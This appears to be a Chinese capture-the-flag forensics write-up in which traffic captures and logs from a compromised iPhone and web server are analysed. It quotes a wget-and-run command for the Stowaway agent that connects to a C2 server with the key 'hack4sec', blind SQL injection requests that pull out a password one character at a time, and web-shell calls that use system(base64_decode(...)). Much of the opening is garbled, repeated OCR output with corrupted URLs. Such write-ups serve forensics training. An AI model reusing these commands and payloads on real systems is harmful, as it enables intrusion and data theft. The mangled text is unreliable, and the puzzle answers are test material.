Connecting to github-releases.githubusercontent.com]/2606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]/2606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]/2606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]/2606:</pre>
<pre>testiphonex:~ root# wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent - 2021-08-29 01:52:11 https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent Resolving github.com]13.250.177.223 Connecting to github.com]13.250.177.223]:443 connected. HTTP request sent, awaiting response 302 Found Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-bate=20210828T1753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd4a7b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&krep_id=221836131&response-content- disposition=attachment%38%Zefilename%3Dios_agent&response-content-type=application%ZFoctet-stream [following] 2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=20210828T175321Z&X-Amz-Expires=300&X-Amz-Signature=adf5852da7a1e04779214f242fd47b13319f0c33b84c01c404dad9ab858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&krep_id=221836131&response-content- disposition=attachment%38%Zefilename%3Dios_agent&response-content-type=application%ZFoctet-stream Resolving github-releases.githubusercontent.com]. 2606:500c0:8001::154, 2606:500c0:8003::154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com]. 2606:500c0:8001::154, 2606:500c0:8003::154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com]. 2606:500c0:8001::154, 2606:500c0:8003::154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com]. 2606:500c0:8001::154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com] Saving to: 'ios_agent'</pre>
<pre>2021-08-29 01:52:11 https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent Resolving github.com.13.250.177.223 Connecting to github.com[13.250.177.223]:443 connected. HTTP request sent, awaiting response 302 Found Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWNJYAX4CSVEH53A%2F20210828%2Fus-east-1%2F3%2Faws4_request&X-Amz-Date=20210828T1753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04770214f242fd447b13319f6c33b84c01c404dad94b85bb69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&krep_id=221836131kresponse-content- disposition=attachment%382&0716ename%3Dios_agent&response-content.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Signature=adf5852da7a1e04770214f242fd447b13319f6c33b84c01c404dad94b85bb69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&krep_id=221836131kresponse-content- disposition=attachment%382&0716ename%3Dios_agent&response-content.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f6c33b84c01c404dad9ab85bb69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&krep_id=221836131kresponse-content- disposition=attachment%382&0716ename%3Dios_agent&response-content.tom2021836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f6c33b84c01c404dad9ab85bb69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&krep_id=221836131&kresponse-content- disposition=attachment%382&0711ename%3Dios_agent&response-content-type=application%2Foctet-stream Resolving github-releases.githubusercontent.com_12606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com_12606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com_12606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.</pre>
Resolving github.com 13.250.177.223 Connecting to github.com[13.250.177.223]:443 connected. HTTP request sent, awaiting response 302 Found Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-bate=202108281175321Z&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f6c33b84c0ic404dads9db85b60&X-Amz-SignedHeaders=host&actor_id=0&Key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%ZFoctet-stream [following] 2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c0ic404dad89db858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%ZFoctet-stream Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c0ic404dad89db858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%ZFoctet-stream Resolving tithub-releases.githubusercontent.com]2606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]2606:50c0:8001::154]:443 connected. HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'
<pre>connecting to github.com[13.250.177.223]:443 connected. HTTP request sent, awaiting response 302 Found Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=20210828T1753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&kkey_id=0&krepo_id=221836131&response-content- disposition=attachment%38%Zefilename%3Dios_agent&response-content-type=application%ZFoctet_stream [following] 2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=20210828T175321Z&X-Amz-Expires=300&X-Amz-Signature=adf5852da7a1e04779214f242fd47b13319f0c33b84c01c404dad9ab858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&krepo_id=221836131&response-content- disposition=attachment%38%Zefilename%3Dios_agent&response-content-type=application%ZFoctet-stream Resolving github-releases.githubusercontent.com].c606:500c0:8001::154, 2606:500c0:8003::154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com]2606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.co</pre>
<pre>HTTP request sent, awaiting response 302 Found Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJVAX4CSVEH53A%2F20210828%2Fus-east-1%2F53%2Faws4_request&X-Amz-Date=20210828T1753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJVAX4CSVEH53A%2F2010828%2Fus-east-1%2F53%2Faws4_request&X-Amz-Date=20210828T1753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd4d7b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%2ff01ename%3Dios_agent&response-content-type=application%2Foctet-stream Resolving github-releases.githubusercontent.com/2606:50c0:8001:1154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com/2606:50c0:8001::154, 2606:50c0:8002::154, Saving to: 'ios_agent'</pre>
<pre>location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-fa75fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWNJYAX4CSVEH53A%2F20210828%2Fus-east-1%2F3%2Faws4_request&X-Amz-Date=202108281753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f6c33b84c01c404dad94b858b60&X-Amz-SignedHeaders=host&actor_id=0&Key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Focte-stream [following] 2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Focte-stream Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Focte-stream Resolving github-releases.githubusercontent.com] 2606:500c0:8001:154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com]2606:500c0:8001::154 :443 connected. HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'</pre>
<pre>Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=20210828T1753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%Z0filename%3Dios_agent&response-content-type=application%ZFoctet-stream [following] 2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b7X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=20210828T175321Z&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd4d7b13319f6c33b84c0ic404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%Z0filename%3Dios_agent&response-content-type=application%ZFoctet-stream Resolving github-releases.githubusercontent.com] 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com] 2606:50c0:8001::154, 2606:50c0:8002::154, Saving to: 'ios_agent'</pre>
Signature=adf3852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&
<pre>disposition=attachment%38%20filename%20is_agent&response-content-type=application%2Foctet-stream [following] 2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64bfX-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIMUNYAXACSVEH53A%2F20210828%2Fus-east-1%2F53%2Faws4_request&X-Amz-Date=20210828T753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%3B%20filename%3Dis_agent&response-content-type=application%2Foctet-stream Resolving github-releases.githubusercontent.com2606:50c0:8001:154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]2606:50c0:8001::154 :443 connected. HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'</pre>
-2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWNJYAX4CSVEH53A%2F20210828%2Fus-east-1%2F53%2Faws4_request&X-Amz-Date=202108281753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd4d7b13319f6c3b84c0ic404dad394b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%2Dios_agent&response-content-type=application%2Foctet-stream Resolving github-releases.githubusercontent.com/2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com/2606:50c0:8001::154 :443 connected. HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'
Credential=AKIAIWNJYAX4CSVEH53A%2F20210828%2Fus-east-1%2Fs3%2Faw54_request&X-Amz-Date=20210828T1753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=
Signature=adf3852da7a1e04779214f242fd447b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Foctet-stream Resolving github-releases.githubusercontent.com. 2606;50c0:8001::154, 2606;50c0:8003::154, 2606;50c0:8002::154, Connecting to github-releases.githubusercontent.com 2606;50c0:8001::154 :443 connected. HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'
<pre>disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Foctet-stream Resolving github-releases.githubusercontent.com 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com[2606:50c0:8001::154]:443 connected. HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'</pre>
Resolving github-releases.githubusercontent.com 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com 2606:50c0:8001::154 :443 connected. HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'
Connecting to github-releases.githubusercontent.com 2606:50c0:8001::154 :443 connected. HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'
HTTP request sent, awaiting response 200 OK Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'
Length: 4061072 (3.9M) [application/octet-stream] Saving to: 'ios_agent'
saving to: 'ios_agent'
0K 1% 337K 12s

2021-08-29 01:53:35 (368 KB/s) - 'ios_agent' saved [4061072/4061072]

```
testiphonex:~ root# ./ios_agent -c 3.128.156.159:8081 -s hack4sec
2021/08/28 17:53:50 [*] Starting agent node actively.Connecting to 3.128.156.159:8081
```

通过最后执行的这个命令,我们可以看到,黑客控制的C&C服务器ip是3.128.156.159

10.2

题目:

黑客利用的Github开源项目的名字是___。(如有字母请全部使用小写)

题解:

stowaway

在上一问中有看到。

I.								\times
	分組字节流 ~ 宽窄	~ □ 区分大 /	♪写 字符串 ∨ ios_agent				查找	取
No.	Time	Source	Info	Destination	Protocol	Length		
	262 37.000000	192.168.1.8	55704 → 8080 [PSH, ACK] Seq=2	3.128.156.159	ТСР			88
	263 37.000000	3.128.156.159	8080 → 55704 [ACK] Seq=4 Ack=	192.168.1.8	TCP			66
	264 37.000000	192.168.1.8	55704 → 8080 [PSH, ACK] Seq=4	3.128.156.159	ТСР			86
	265 37.000000	192.168.1.12	54915 → 54915 Len=263	192.168.1.255	UDP			305
	266 37.000000	3.128.156.159	8080 → 55704 [ACK] Seq=4 Ack=	192.168.1.8	TCP			66
	267 38.000000	0.0.0	DHCP Discover - Transaction I	255.255.255.255	DHCP			342
	268 38.000000	192.168.1.12	54915 → 54915 Len=263	192.168.1.255	UDP			305
	269 39.000000	192.168.1.12	54915 → 54915 Len=263	192.168.1.255	UDP			305
	270 40.000000	192.168.1.3	12476 → 12476 Len=88	255.255.255.255	UDP			130
	271 40.000000	192.168.1.8	[TCP Retransmission] 55703 → …	20.205.243.166	ТСР			339
	272 40.000000	192.168.1.12	54915 → 54915 Len=263	192.168.1.255	UDP			305
	273 41.000000	3.128.156.159	8080 → 55704 [PSH, ACK] Seq=4	192.168.1.8	TCP			165
	274 41.000000	192.168.1.8	55704 → 8080 [ACK] Seq=63 Ack	3.128.156.159	тср			66
>	Frame 273: 165 byte	s on wire (1320 bits),	, 165 bytes captured (1320 bits)					
>	Ethernet II, Src: z	te 55:c5:da (f8:64:b8:	:55:c5:da), Dst: Apple 88:59:7a	(9c:e3:3f:88:59:7a)				
>	Internet Protocol V	ersion 4, Src: 3.128.1	156.159, Dst: 192.168.1.8					
>	Transmission Contro	l Protocol, Src Port:	8080, Dst Port: 55704, Seq: 4, /	Ack: 63, Len: 99				
~	Hypentext Transfer	Protocol						
	> wget https://git	nub.com/ph4ntonn/Stowa	way/releases/download/1.6.2/ios_	agent && chmod 755 id	os_agent\n			

0000	9c	e3	3†	88	59	7a	†8	64	b8	55	с5	da	08	00	45	00	··· ? · Yz · d · U · · · · E ·
0010	00	97	81	d8	40	00	dc	06	ba	b 8	03	80	90	9f	c0	a8	· · · · · @ · · · · · · · · · · · · · ·
0020	01	08	1f	90	d9	98	1f	a2	3a	7e	c9	50	14	bØ	80	18	····· :~· P····
0030	00	d2	54	9b	00	00	01	01	08	0a	ae	62	94	e8	Øb	9b	•••T••••••b•••••
0040	eØ	47	77	67	65	74	20	68	74	74	70	73	за	2f	2f	67	•Gwget h ttps://g
0050	69	74	68	75	62	2e	63	6f	6d	2f	70	68	34	6e	74	6f	ithub.co m/ph4nto
0060	6e	6e	2f	53	74	6f	77	61	77	61	79	2f	72	65	6c	65	nn/Stowa way/rele
0070	61	73	65	73	2f	64	6f	77	6e	6C	6f	61	64	2f	31	2e	ases/dow nload/1.
0080	36	2e	32	2f	69								74	20	26	26	6.2/ios_ agent &&
0090	20	63	68	6d	6f	64	20	37	35	35	20	69	6f	73	5f	61	chmod 7 55 ios_a
00a0	67	65	6e	74	0a												gent ·

10.3

题目:

通讯加密密钥的明文是____。

题解:

hack4sec 通过10.1中执行命令这条我们可以看到,-s后面跟的参数就是加密密钥。

2021-08-29 01:53:35 (368 KB/s) - 'ios_agent' saved [4061072/4061072]

```
testiphonex:~ root# ./ios_agent -c 3.128.156.159:8081 -s hack4sec
2021/08/28 17:53:50 [*] Starting agent node actively.Connecting to 3.128.156.159:8081
```

10.4

题目:

黑客通过sql盲注拿到了一个敏感数据,内容是___。

题解:

746558f3-c841-456b-85d7-d6c0f2edabb2

存在很多http协议,查看http2发现存在sql注入,查看每一位最后的请求值,会得到一个uuid值。

部分存在TLS加密的流量需要用到密钥进行解密,当浏览器访问https站点时使用SSL/TLS协议。必须拥有服务器私钥,才能得到用于对 称加密的密钥,然后真正解开加密的数据。

我们需要导入TLS协议所需的keylog.txt文件。然后就可以查看http2,也就是https协议了。



然后搜索select,就可以发现含有select的语句。再像之前那样找sql语句即可,最后hex转一下

'	
2.168.1.8 7	HEADERS[381]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPD
2.168.1.8 7	HEADERS[383]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPE
2.168.1.8 7	HEADERS[385]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPD
2.168.1.8 7	HEADERS[387]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPE
2.168.1.8 7	HEADERS[389]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPD
2.168.1.8 8	HEADERS[391]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPD
2.168.1.8 7	HEADERS[393]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPD
2.168.1.8 7	HEADERS[395]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPD
2.168.1.8 7	HEADERS[397]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPD
2.168.1.8 7	HEADERS[399]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPD
2.168.1.8 8	HEADERS[401]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPD

10.5

7

题目:

黑客端口扫描的扫描器范围是___。(格式使用"开始端口-结束端口",例如1-65535)

题解:

10-499

端口扫描涉及到rst报文和连续端口访问,我们打开专家信息找到rst。然后可以看到是从10开始到499结束。

视图(V) 跳转	(G) 捕获(C)	分析(A) 统计(S)	电话(Y)	无线(W)	工具(T)	帮助(H)
	۹ 🔶 🛉	Display Filter 显示过滤器宏	s (M)			
~ 宽窄		Display Filter	Expressio	on		
e	Source	应用为列		Ctrl+	Shift+I	
0.000000	192.168.1	作为过滤器应	用		+	o?l=1&o=%28case_when_%
0.000000	192.168.1	准备过滤器			•	o?l=1&o=%28case_when_%
0.000000	192.168.1	对话过滤器			+	o?l=1&o=%28case_when_%
1.000000	192.168.1	启田的协议		Ctrl+	Shift+F	o?l=1&o=%28case_when_%
1.000000	192.168.1	解码为(Δ)		curr	Shire	o?l=1&o=%28case_when_%
1.000000	192.168.1	重新裁λ μια	插供	Ctrl+	Shift+1	o?l=1&o=%28case_when_%
000000	124.161.3		лыт	curr	Shirt'L	DATE[0]
000000	124.161.3	SCTP			•	
000000	124.161.3	追踪流			•	[A[1], DATA[1], DATA[1]
000000	124.161.3	显示分组字节。		Ctrl+	Shift+O	[A[3] [TCP segment of a
000000	124.161.3	专家信息				[3] [TCP segment of a i
000000	124.161.3	7.49 D	ATA[3]			
		1				

▲ Wireshark · 专家信息 · triffic.pcap

Wireshark · 专	家信息 · triffic.pcap					×
 重	概要	组	协议	计数		
Error	IPv4 total length exceeds packet length (42 bytes)	Protocol	IPv4			12
Error	Malformed Packet (Exception occurred)	Malformed	IPv4			12
Error	TLSCiphertext length MUST NOT exceed 2^14 +	Protocol	TLS			6
Error	Malformed Packet (Exception occurred)	Malformed	DNS			1
Error	New fragment overlaps old data (retransmission?)	Malformed	ТСР			95
Error	Bogus IPv4 version	Protocol	IPv4			72
Warning	DNS response retransmission. Original response	Protocol	mDNS			94
Warning	Ignored Unknown Record	Protocol	TLS			245
Warning	DNS response retransmission. Original response	Protocol	DNS			31
Warning	DNS query retransmission. Original request in fra	Protocol	DNS			64
Warning	Previous segment(s) not captured (common at c	Sequence	ТСР			437
Warning	Illegal characters found in header name	Protocol	HTTP			29
Warning	This frame is a (suspected) out-of-order segment	Sequence	тср			162
Warning	Connection reset (RST)	Sequence	TCP			1634
Warning	DNS query retransmission. Original request in fra	Protocol	mDNS			676
Warning	ACKed segment that wasn't captured (common	Sequence	ТСР			32
Note	ACK to a TCP keep-alive segment	Sequence	ТСР			864
Note	TCP keep-alive segment	Sequence	TCP			1237
Note	HTTP body subdissector failed, trying heuristic s	Malformed	HTTP			17
Note	The acknowledgment number field is nonzero w	Protocol	TCP			23
Note	This session reuses previously negotiated keys (S	Sequence	TLS			59
Note	This frame is a (suspected) fast retransmission	Sequence	TCP			46
Note	Duplicate ACK (#1)	Sequence	TCP			1737
Note	This frame is a (suspected) spurious retransmission	Sequence	TCP			266
Note	This frame is a (suspected) retransmission	Sequence	TCP			1012
Chat	GET /1.gif?domain=sina.cn&url=-&title=%E6%89	Sequence	HTTP			1102
Chat	TCP window update	Sequence	TCP			3463
Chat	M-SEARCH * HTTP/1.1\r\n	Sequence	SSDP			116
Chat	Connection finish (FIN)	Sequence	ТСР			160
Chat	Connection establish acknowledge (SYN+ACK): s	Sequence	ТСР			42
Chat	Connection establish request (SYN): server port	Sequence	ТСР			1197

69669	443 → 55178 [RST] Seq=205493 Win=0 Len=0	Sequence	ТСР
69796	55140 → 443 [RST, ACK] Seq=4922 Ack=106173 Win=262144 Len=0	Sequence	ТСР
69875	55187 → 443 [RST, ACK] Seq=4320 Ack=10807700 Win=2086400 L	Sequence	ТСР
69885	10 → 55719 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	ТСР
69899	11 → 55720 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
69913	12 → 55721 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	ТСР
69927	13 → 55722 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	ТСР
69943	14 → 55723 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	ТСР
69956	15 → 55724 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
69969	16 → 55725 IRST_ACKI Seg=1 Ack=1 Win=0 Len=0	Sequence	тср

80299	492 → 56202 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
80310	493 → 56203 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
80324	494 → 56204 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
80338	495 → 56205 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
80350	496 → 56206 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
80363	497 → 56207 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
80375	498 → 56208 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
80389	499 → 56209 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0	Sequence	TCP
80408	56153 → 443 [RST] Seq-420 Win-0 Le n=0	Sequence	TCP
80410	56153 → 443 [RST] Seq=420 Win=0 Len=0	Sequence	TCP
81003	56212 → 2222 [RST] Seq=2 Win=0 Len=0	Sequence	TCP
81005	56212 → 2222 [RST] Seq=2 Win=0 Len=0	Sequence	TCP

10.6

题目:

题解:

172.28.0.2#192.168.1.12

总共有两个。

在access.log里面很清楚的看到有一个ip地址,然后再在https保温中看到一个攻击的内网服务器地址,也就是进行sql注入攻击的ip地

址。

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET //ma.php?fxxk=system(base64_decode(%27d2hvYW1p%27)); HTTP/1.1" 200 38 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-" 172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET /favicon.ico HTTP/1.1" 200 4} "http://172.28.0.2//ma.php?fxxk=system(base64_decode(%27d2hvYW1p %27));" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-172.28.0.3 - - [28/Aug/2021:18:47:42 +0000] "POST /ma.php HTTP/1.1" 200 156 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" "-" 172.28.0.3 - - [28/Aug/2021:18:47:53 +0000] "POST /ma.php HTTP/1.1" 200 141 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)" "-" 172.28.0.3 - - [28/Aug/2021:18:48:02 +0000] "POST /ma.php HTTP/1.1" 200 142 "-" "Mozilla/5.0 (compatible; MSIE 